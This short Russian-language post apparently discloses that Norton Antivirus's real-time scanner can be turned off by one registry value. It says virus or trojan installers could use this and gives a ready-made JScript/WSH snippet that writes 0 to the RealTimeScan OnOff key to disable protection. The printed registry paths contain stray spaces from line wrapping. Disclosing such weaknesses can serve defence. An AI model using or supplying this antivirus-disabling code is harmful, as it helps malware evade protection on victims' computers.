Оказывается в Norton Antivirus
сканер файлов выключается простым ключом в
реестре! Обычно это делается вручную, путем
правого клика на иконке в систрее и выбора
опции "deactivate". Однако установщик
вируса или трояна может легко обойти это
препятствие, так как значение активен/неактивен
просто хранится в реестре: HKEY_LOCAL_MACHINE\
SOFTWARE\INTEL\LANDesk\ VirusProtect6\ CurrentVersion\
Storages\Filesystem\RealTimeScan
Простейшая программа по
дезактивации:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.RegWrite("HKLM\\SOFTWARE\\INTEL\\ LANDesk\\VirusProtect6\\CurrentVersion\\
Storages\\Filesystem\\RealTimeScan \\OnOff", 0, "REG_DWORD");
